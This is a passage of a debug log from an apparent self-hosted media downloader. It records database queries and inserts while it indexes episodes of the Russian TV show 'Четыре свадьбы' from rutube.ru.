свадьба Жанны из Перми пройдёт в авиационном стиле. Какие фишки подготовили невесты для своих мероприятий, узнаем из программы «Четыре свадьбы».", "duration" => 6179, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e082200 - Свадьба в стиле авиации VS Пиратская свадьба.mp4", "id" => "bc6a01e28869a420f74b34871290250f", "original_url" => "https://rutube.ru/video/bc6a01e28869a420f74b34871290250f/", "playlist_index" => 80, "timestamp" => 1724337011, "title" => "Свадьба в стиле авиации VS Пиратская свадьба", "upload_date" => "20240822"} 14:36:03.007 [debug] QUERY OK source="sources" db=0.5ms idle=21.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:36:03.008 [debug] QUERY OK source="sources" db=0.5ms idle=6.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:03.009 [debug] QUERY OK source="media_items" db=0.8ms idle=4.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-08-22 14:30:11Z], 1] 14:36:03.029 [debug] QUERY OK source="media_items" db=19.4ms idle=5.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Свадебный марафон начинается! Людмила из Электростали приглашает на диджейскую вечеринку. У Екатерины из Кыштыма будем свадьба в пиратском стиле. Мария из Перми устроит чёрно-белую вечеринку. А свадьба Жанны из Перми пройдёт в авиационном стиле. Какие фишки подготовили невесты для своих мероприятий, узнаем из программы «Четыре свадьбы».", "Свадьба в стиле авиации VS Пиратская свадьба", "417b1f28-048f-4e2a-b66d-1ab36f955c88", "bc6a01e28869a420f74b34871290250f", 6179, false, "https://rutube.ru/video/bc6a01e28869a420f74b34871290250f/", 80, "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e082200 - Свадьба в стиле авиации VS Пиратская свадьба.mp4", false, false, false, 1, [], 1, ~U[2024-08-22 14:30:11Z], ~U[2025-12-09 11:36:03Z], ~U[2025-12-09 11:36:03Z], "Свадебный марафон начинается! Людмила из Электростали приглашает на диджейскую вечеринку. У Екатерины из Кыштыма будем свадьба в пиратском стиле. Мария из Перми устроит чёрно-белую вечеринку. А свадьба Жанны из Перми пройдёт в авиационном стиле. Какие фишки подготовили невесты для своих мероприятий, узнаем из программы «Четыре свадьбы».", "Свадьба в стиле авиации VS Пиратская свадьба", "bc6a01e28869a420f74b34871290250f", 6179, false, "https://rutube.ru/video/bc6a01e28869a420f74b34871290250f/", "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e082200 - Свадьба в стиле авиации VS Пиратская свадьба.mp4", false, 1, ~U[2024-08-22 14:30:11Z]] 14:36:03.031 [debug] QUERY OK source="sources" db=1.6ms idle=23.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:03.033 [debug] QUERY OK source="media_profiles" db=0.8ms queue=0.1ms idle=24.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:36:03.036 [debug] QUERY OK source="media_items" db=2.5ms idle=25.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [75] 14:36:03.036 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Невесты отправляются в путешествие по четырём городам. В Москве пройдёт традиционная еврейская свадьба Кейлы. В Краснодаре участницы побывают на свадьбе-тусовке Евы. Татьяна позовёт соперниц в Пензу, чтобы отпраздновать её свадьбу в стиле стимпанк. А Юлия будет рада видеть гостей в Казани на своей классической свадьбе. Мероприятия девушек покажет программа «Четыре свадьбы».", "duration" => 6346, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e090500 - Еврейская свадьба VS Свадьба в стиле стимпанк.mp4", "id" => "5abcef38f825aead95827982f1eb251c", "original_url" => "https://rutube.ru/video/5abcef38f825aead95827982f1eb251c/", "playlist_index" => 81, "timestamp" => 1725546613, "title" => "Еврейская свадьба VS Свадьба в стиле стимпанк", "upload_date" => "20240905"} 14:36:03.037 [debug] QUERY OK source="sources" db=0.5ms idle=27.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:36:03.039 [debug] QUERY OK source="sources" db=1.8ms idle=8.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:03.041 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=8.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-09-05 14:30:13Z], 1] 14:36:03.067 [debug] QUERY OK source="media_items" db=24.1ms idle=9.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Невесты отправляются в путешествие по четырём городам. В Москве пройдёт традиционная еврейская свадьба Кейлы. В Краснодаре участницы побывают на свадьбе-тусовке Евы. Татьяна позовёт соперниц в Пензу, чтобы отпраздновать её свадьбу в стиле стимпанк. А Юлия будет рада видеть гостей в Казани на своей классической свадьбе. Мероприятия девушек покажет программа «Четыре свадьбы».", "Еврейская свадьба VS Свадьба в стиле стимпанк", "33355d06-7d3a-4458-90de-c01ffd50fb93", "5abcef38f825aead95827982f1eb251c", 6346, false, "https://rutube.ru/video/5abcef38f825aead95827982f1eb251c/", 81, "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e090500 - Еврейская свадьба VS Свадьба в стиле стимпанк.mp4", false, false, false, 1, [], 1, ~U[2024-09-05 14:30:13Z], ~U[2025-12-09 11:36:03Z], ~U[2025-12-09 11:36:03Z], "Невесты отправляются в путешествие по четырём городам. В Москве пройдёт традиционная еврейская свадьба Кейлы. В Краснодаре участницы побывают на свадьбе-тусовке Евы. Татьяна позовёт соперниц в Пензу, чтобы отпраздновать её свадьбу в стиле стимпанк. А Юлия будет рада видеть гостей в Казани на своей классической свадьбе. Мероприятия девушек покажет программа «Четыре свадьбы».", "Еврейская свадьба VS Свадьба в стиле стимпанк", "5abcef38f825aead95827982f1eb251c", 6346, false, "https://rutube.ru/video/5abcef38f825aead95827982f1eb251c/", "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e090500 - Еврейская свадьба VS Свадьба в стиле стимпанк.mp4", false, 1, ~U[2024-09-05 14:30:13Z]] 14:36:03.069 [debug] QUERY OK source="sources" db=1.5ms idle=31.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:03.072 [debug] QUERY OK source="media_profiles" db=2.4ms idle=31.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:36:03.074 [debug] QUERY OK source="media_items" db=1.1ms idle=32.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [77] 14:36:03.074 [debug] Current batch of media processed. Will check again in 1000ms 14:36:04.076 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Участницы «Четырёх свадеб» поедут в Моздок на армянское торжество Мариам. В Сочи девушки отпразднуют классическую свадьбу Екатерины. В Краснодаре пройдёт свадьба в королевском стиле Марии. А в Архангельске состоится свадьба «сборная солянка» Ксении. Чьё мероприятие станет самым впечатляющим, увидим в программе «Четыре свадьбы».", "duration" => 6603, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e091200 - Армянская свадьба VS Королевская свадьба.mp4", "id" => "f3ac1af070b734d8e5c649ac3ef0ba8a", "original_url" => "https://rutube.ru/video/f3ac1af070b734d8e5c649ac3ef0ba8a/", "playlist_index" => 82, "timestamp" => 1726151412, "title" => "Армянская свадьба VS Королевская свадьба", "upload_date" => "20240912"} 14:36:04.079 [debug] QUERY OK source="sources" db=3.0ms queue=0.1ms idle=1009.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:36:04.081 [debug] QUERY OK source="sources" db=1.1ms idle=1011.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:04.082 [debug] QUERY OK source="media_items" db=0.6ms idle=1009.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-09-12 14:30:12Z], 1] 14:36:04.095 [debug] QUERY OK source="media_items" db=12.1ms idle=1008.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Участницы «Четырёх свадеб» поедут в Моздок на армянское торжество Мариам. В Сочи девушки отпразднуют классическую свадьбу Екатерины. В Краснодаре пройдёт свадьба в королевском стиле Марии. А в Архангельске состоится свадьба «сборная солянка» Ксении. Чьё мероприятие станет самым впечатляющим, увидим в программе «Четыре свадьбы».", "Армянская свадьба VS Королевская свадьба", "cebb35be-1254-4e52-b7c4-124d168d5b2f", "f3ac1af070b734d8e5c649ac3ef0ba8a", 6603, false, "https://rutube.ru/video/f3ac1af070b734d8e5c649ac3ef0ba8a/", 82, "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e091200 - Армянская свадьба VS Королевская свадьба.mp4", false, false, false, 1, [], 1, ~U[2024-09-12 14:30:12Z], ~U[2025-12-09 11:36:04Z], ~U[2025-12-09 11:36:04Z], "Участницы «Четырёх свадеб» поедут в Моздок на армянское торжество Мариам. В Сочи девушки отпразднуют классическую свадьбу Екатерины. В Краснодаре пройдёт свадьба в королевском стиле Марии. А в Архангельске состоится свадьба «сборная солянка» Ксении. Чьё мероприятие станет самым впечатляющим, увидим в программе «Четыре свадьбы».", "Армянская свадьба VS Королевская свадьба", "f3ac1af070b734d8e5c649ac3ef0ba8a", 6603, false, "https://rutube.ru/video/f3ac1af070b734d8e5c649ac3ef0ba8a/", "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e091200 - Армянская свадьба VS Королевская свадьба.mp4", false, 1, ~U[2024-09-12 14:30:12Z]] 14:36:04.096 [debug] QUERY OK source="sources" db=1.2ms idle=794.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:04.098 [debug] QUERY OK source="media_profiles" db=0.7ms queue=0.1ms idle=17.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:36:04.099 [debug] QUERY OK source="media_items" db=0.4ms queue=0.6ms idle=17.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [78] 14:36:04.100 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "", "duration" => 6356, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e101900 - Четыре свадьбы: Рыцарская свадьба VS Свадьба в стиле фэшн.mp4", "id" => "053d2d2dc1b9ebfdeacedd768bdab3bc", "original_url" => "https://rutube.ru/video/053d2d2dc1b9ebfdeacedd768bdab3bc/", "playlist_index" => 83, "timestamp" => 1729327814, "title" => "Четыре свадьбы: Рыцарская свадьба VS Свадьба в стиле фэшн", "upload_date" => "20241019"} 14:36:04.101 [debug] QUERY OK source="sources" db=0.4ms idle=18.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:36:04.102 [debug] QUERY OK source="sources" db=0.6ms idle=6.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:04.102 [debug] QUERY OK source="media_items" db=0.5ms idle=5.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-10-19 08:50:14Z], 1] 14:36:04.114 [debug] QUERY OK source="media_items" db=10.4ms idle=5.1ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Четыре свадьбы: Рыцарская свадьба VS Свадьба в стиле фэшн", "f03431a9-8a44-4b02-90d6-dc2ac125e46f", "053d2d2dc1b9ebfdeacedd768bdab3bc", 6356, false, "https://rutube.ru/video/053d2d2dc1b9ebfdeacedd768bdab3bc/", 83, "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e101900 - Четыре свадьбы: Рыцарская свадьба VS Свадьба в стиле фэшн.mp4", false, false, false, 1, [], 1, ~U[2024-10-19 08:50:14Z], ~U[2025-12-09 11:36:04Z], ~U[2025-12-09 11:36:04Z], "", "Четыре свадьбы: Рыцарская свадьба VS Свадьба в стиле фэшн", "053d2d2dc1b9ebfdeacedd768bdab3bc", 6356, false, "https://rutube.ru/video/053d2d2dc1b9ebfdeacedd768bdab3bc/", "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e101900 - Четыре свадьбы: Рыцарская свадьба VS Свадьба в стиле фэшн.mp4", false, 1, ~U[2024-10-19 08:50:14Z]] 14:36:04.126 [debug] QUERY OK source="sources" db=11.2ms idle=14.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:36:04.128 [debug] QUERY OK source="media_profiles" db=2.0ms queue=0.1ms idle=25.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:36:04.129 [debug] QUERY OK source="media_items" db=0.5ms queue=0.2ms idle=27.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [79] 14:36:04.130 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Четыре невесты оценят свадьбы друг друга. Мероприятие Юлии из Калининграда пройдёт в стиле стендап-вечеринки. Анастасия пригласит конкуренток в Саратов на свою классическую свадьбу. Фишкой мероприятия Натальи из Рязани станет украшение торта. А у Александры из Санкт-Петербурга состоится свадьба в стиле «детский сад». Смотрите программу «Четыре свадьбы»!", "duration" => 6644, "filename" => "/downloads/rutubeShows/4 Свадьбы/Season 2024/s2024e111500 - Четыре свадьбы: Свадьба в стиле стендап-вечеринки VS Классическая свадьба.mp4", "id" => "11919af5add971f1e3ebca4d3542bd94", "original_url" => "https://rutube.ru/video/11919af5add971f1e3ebca4d3542bd94/", "playlist_index" => 84, "timestamp" => 1731674415, "title" => "Четыре свадьбы: Свадьба в стиле стендап-вечеринки VS Классическая свадьба", "upload_date" => "20241115"} 14:36:04.132 [debug] QUERY OK source="sources" db=0.7ms idle=28.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 14:36:04.132 [debug] QUERY OK source="sources" db=0.5ms idle=18.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", 